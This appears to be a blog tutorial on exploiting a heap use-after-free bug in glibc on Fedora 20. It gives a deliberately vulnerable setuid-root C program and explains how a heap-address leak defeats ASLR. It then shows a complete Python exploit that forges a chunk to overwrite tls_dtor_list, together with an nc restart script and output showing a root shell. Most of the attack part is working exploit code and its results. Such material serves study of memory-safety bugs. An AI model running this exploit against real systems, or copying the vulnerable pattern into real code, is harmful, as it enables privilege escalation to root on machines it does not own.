Use-After-Free

Prerequisite: 

  1. Off-By-One Vulnerability (Heap Based)
  2. Understanding glibc malloc

VM Setup: Fedora 20 (x86)

What is use-after-free (UaF)?

Continuing to use a heap memory pointer which is already been freed is called use-after-free bug!! This bug can lead to arbitrary code execution.

Vulnerable Code:

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define BUFSIZE1 1020
#define BUFSIZE2 ((BUFSIZE1/2) - 4)

int main(int argc, char **argv) {

 char* name = malloc(12); /* [1] */
 char* details = malloc(12); /* [2] */
 strncpy(name, argv[1], 12-1); /* [3] */
 free(details); /* [4] */
 free(name);  /* [5] */
 printf("Welcome %s\n",name); /* [6] */
 fflush(stdout);

 char* tmp = (char *) malloc(12); /* [7] */
 char* p1 = (char *) malloc(BUFSIZE1); /* [8] */
 char* p2 = (char *) malloc(BUFSIZE1); /* [9] */
 free(p2); /* [10] */
 char* p2_1 = (char *) malloc(BUFSIZE2); /* [11] */
 char* p2_2 = (char *) malloc(BUFSIZE2); /* [12] */

 printf("Enter your region\n");
 fflush(stdout);
 read(0,p2,BUFSIZE1-1); /* [13] */
 printf("Region:%s\n",p2); 
 free(p1); /* [14] */
}

Compilation Commands:

#echo 2 > /proc/sys/kernel/randomize_va_space
$gcc -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln

NOTE: Unlike previous post, ASLR is turned ON here. So now lets exploit an UaF bug and since ASLR is turned on, lets bypass it using information leakage and brute force technique.

Above vulnerable code contains two use-after-free bugs at lines [6] and [13]. Their respective heap memories are freed in lines [5] and [10] but their pointers are used even after free ie) in lines [6] and [13]!! Line[6]’s UaF leads to information leakage while Line[13]’s UaF leads to arbitrary code execution.

What is information leakage? How attacker leverages it?

In our vulnerable code (at line [6]), the information that is getting leaked is heap address. This leaked heap address will help the attacker to easily calculate the randomized heap segment’s base address, thus defeating ASLR!!!

To understand how heap address is getting leaked, let us first understand the first half of the vulnerable code.

  • Line [1] allocates a 16 byte heap memory region for ‘name’.
  • Line [2] allocates a 16 byte heap memory region for ‘details’.
  • Line [3] copies program argument 1 (argv[1]) into heap memory region ‘name’.
  • Line [4] and [5] releases heap memory regions ‘name’ and ‘details’ back to glibc malloc.
  • Line [6]’s printf uses ‘name’ pointer after its freed, this leads to leaking heap address.

Having read the prerequisite post, we know that chunks corresponding to ‘name’ and ‘details’ pointers are fast chunks and when these fast chunks are freed, they get stored in index zero of fast bins. We also know that each fast bin contains a single linked list of free chunks. Thus as per our example, fast bin index zero’s single linked list looks as shown below:

main_arena.fastbinsY[0] ---> 'name_chunk_address' ---> 'details_chunk_address' ---> NULL

Because of this single linking, first four bytes of ‘name’ contains ‘details_chunk’ address. Thus when ‘name’ gets printed, ‘details chunk’ address gets printed first.  From the heap layout we know that ‘details chunk’ is located at offset 0x10 from the heap base address. Thus subtracting 0x10 from the leaked heap address, gives us the heap base address!!

How arbitrary code execution is achieved?

Now having obtained the randomized heap segment’s base address, let us see how arbitrary code execution is achieved by understanding the second half of the vulnerable code.

  • Line [7] allocates a 16 byte heap memory region for ‘tmp’.
  • Line [8] allocates a 1024 byte heap memory region for ‘p1’.
  • Line [9] allocates a 1024 byte heap memory region for ‘p2’.
  • Line [10] releases heap memory region ‘p2’ back to glibc malloc.
  • Line [11] allocates a 512 byte heap memory region for ‘p2_1’.
  • Line [12] allocates a 512 byte heap memory region for ‘p2_2’.
  • Line [13]’s read uses ‘p2’ pointer after its freed.
  • Line [14] releases heap memory region ‘p1’ back to glibc malloc, this leads to arbitrary code execution when program exits.

Having read the prerequisite post, we know that when ‘p2’ gets released to glibc malloc, its gets consolidated into top chunk. Later when memory is requested for ‘p2_1’, it is allocated from top chunk – ‘p2’ and ‘p2_1’ contains the same heap address. Further when memory is requested for ‘p2_2’, it is allocated from top chunk – ‘p2_2’ is 512 bytes away from ‘p2’. Thus when ‘p2’ pointer is used after free in line [13], attacker controlled data (of max 1019 bytes) gets copied into p2_1 whose size is only 512 bytes and hence the remaining attacker data overwrites the next chunk ‘p2_2’, allowing the attacker to overwrite the next chunk header’s size field!!

Heap Layout:

As seen in this prerequisite post, if attacker can successfully overwrite the LSB of next chunk’s size field, he can trick glibc malloc to unlink chunk ‘p2_1’ even when its in allocated state. Also in the same post we saw that unlinking a large chunk which is in allocated state can lead to arbitrary code execution when attacker has carefully crafted a fake chunk header!! Attacker constructs the fake chunk header as said below:

  • fd should point back to freed chunk address. From the heap layout we find that ‘p2_1’ is located at offset 0x410. Hence fd = heap_base_address (obtained from information leakage bug) + 0x410.
  • bk also should point back to freed chunk address. From the heap layout we find that ‘p2_1’ is located at offset 0x410. Hence fd = heap_base_address (obtained from information leakage bug) + 0x410.
  • fd_nextsize should point to tls_dtor_list – 0x14. ‘tls_dtor_list’ belongs to glibc’s private anonymous mapping segment which is randomized. Hence to defeat this randomization lets use brute force technique as shown in below exploit code.
  • bk_nextsize should point to heap address which contains a dtor_list element!! ‘system’ dtor_list is injected by the attacker after this fake chunk header, while ‘setuid’ dtor_list is injected by the attacker in place of ‘p2_2’ heap memory region. From the heap layout we know that ‘system’ and setuid’ dtor_list’s are  located at offset 0x428 and 0x618 respectively.

With all these informations, lets write an exploit program to attack the vulnerable binary ‘vuln’!!

Exploit Code:

#exp.py
#!/usr/bin/env python
import struct
import sys
import telnetlib
import time

ip = '127.0.0.1'
port = 1234

def conv(num): return struct.pack("<I", num)

def send(data):
 global con
 con.write(data)
 return con.read_until('\n')

print "** Bruteforcing libc base address**"
libc_base_addr = 0xb756a000
fd_nextsize = (libc_base_addr - 0x1000) + 0x6c0
system = libc_base_addr + 0x3e6e0
system_arg = 0x80482ae
size = 0x200
setuid = libc_base_addr + 0xb9e30
setuid_arg = 0x0

while True:
 time.sleep(4)
 con = telnetlib.Telnet(ip, port)
 laddress = con.read_until('\n')
 laddress = laddress[8:12]
 heap_addr_tup = struct.unpack("<I", laddress)
 heap_addr = heap_addr_tup[0]
 print "** Leaked heap addresses : [0x%x] **" %(heap_addr)
 heap_base_addr = heap_addr - 0x10
 fd = heap_base_addr + 0x410
 bk = fd
 bk_nextsize = heap_base_addr + 0x618
 mp = heap_base_addr + 0x18
 nxt = heap_base_addr + 0x428

 print "** Constructing fake chunk to overwrite tls_dtor_list**"
 fake_chunk = conv(fd)
 fake_chunk += conv(bk)
 fake_chunk += conv(fd_nextsize)
 fake_chunk += conv(bk_nextsize)
 fake_chunk += conv(system)
 fake_chunk += conv(system_arg)
 fake_chunk += "A" * 484
 fake_chunk += conv(size)
 fake_chunk += conv(setuid)
 fake_chunk += conv(setuid_arg)
 fake_chunk += conv(mp)
 fake_chunk += conv(nxt)
 print "** Successful tls_dtor_list overwrite gives us shell!!**"
 send(fake_chunk)

 try: 
  con.interact()
 except: 
  exit(0)

Since in brute force technique we need to make multiple attempts (until we succeed) lets run our vulnerable binary ‘vuln’ as a network server and using a shell script lets make sure its gets restarted automatically when it gets crashed!!

#vuln.sh
#!/bin/sh
nc_process_id=$(pidof nc)
while :
do
 if [[ -z $nc_process_id ]]; then
 echo "(Re)starting nc..."
 nc -l -p 1234 -c "./vuln sploitfun"
 else
 echo "nc is running..."
 fi
done

Executing above exploit code gives us root shell!! Bingo!!

Shell-1$./vuln.sh
Shell-2$python exp.py
...
** Leaked heap addresses : [0x889d010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
** Leaked heap addresses : [0x895d010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
id
uid=0(root) gid=1000(bala) groups=0(root),10(wheel),1000(bala) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
exit
** Leaked heap addresses : [0x890c010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
...
$

Reference:

1. Revisiting Defcon CTF Shitsco Use-After-Free Vulnerability – Remote Code Execution

5 thoughts on “Use-After-Free

  1. I want ask a stupid questtion. How to draw heap layout or stack layout such Pretty,Maybe I can use in my blog to make things more Intuitive..

    Like

Leave a comment